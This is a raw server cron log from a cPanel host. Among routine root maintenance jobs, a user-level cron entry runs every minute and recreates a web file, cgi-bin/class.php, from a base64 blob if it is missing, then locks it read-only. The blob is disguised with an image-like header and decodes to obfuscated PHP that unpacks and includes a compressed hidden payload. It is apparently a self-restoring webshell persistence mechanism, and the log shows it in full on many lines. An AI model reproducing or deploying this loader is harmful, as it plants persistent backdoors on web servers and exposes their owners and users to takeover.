Sep  4 03:52:01 server CROND[6469]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:52:01 server CROND[6470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:53:01 server CROND[6909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:53:01 server CROND[6910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:53:01 server CROND[6911]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:54:01 server CROND[7360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:54:01 server CROND[7362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:54:01 server CROND[7369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:55:01 server CROND[7756]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 03:55:01 server CROND[7757]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 03:55:01 server CROND[7758]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 03:55:01 server CROND[7762]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 03:55:01 server CROND[7763]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:55:01 server CROND[7765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:55:01 server CROND[7764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:56:01 server CROND[8717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:56:01 server CROND[8718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:56:01 server CROND[8719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:57:01 server CROND[9116]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:57:01 server CROND[9120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:57:01 server CROND[9122]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 03:57:01 server CROND[9125]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:58:01 server CROND[9498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:58:01 server CROND[9500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:58:01 server CROND[9499]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:59:01 server CROND[9874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:59:01 server CROND[9875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:59:01 server CROND[9876]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:00:01 server CROND[10284]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 04:00:01 server CROND[10286]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  4 04:00:01 server CROND[10294]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 04:00:01 server CROND[10304]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 04:00:01 server CROND[10303]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 04:00:01 server CROND[10305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:00:01 server CROND[10298]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  4 04:00:01 server CROND[10306]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:00:01 server CROND[10307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:00:01 server CROND[10308]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 04:01:01 server CROND[11227]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 04:01:01 server CROND[11228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:01:01 server CROND[11229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:01:01 server CROND[11230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:01:01 server run-parts(/etc/cron.hourly)[11227]: starting 0anacron
Sep  4 04:01:01 server anacron[11247]: Anacron started on 2026-09-04
Sep  4 04:01:01 server anacron[11247]: Job `cron.daily' locked by another anacron - skipping
Sep  4 04:01:01 server anacron[11247]: Normal exit (0 jobs run)
Sep  4 04:01:01 server run-parts(/etc/cron.hourly)[11249]: finished 0anacron
Sep  4 04:02:01 server CROND[11662]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:02:01 server CROND[11663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:02:01 server CROND[11664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:03:01 server CROND[12048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:03:01 server CROND[12049]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:03:01 server CROND[12050]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
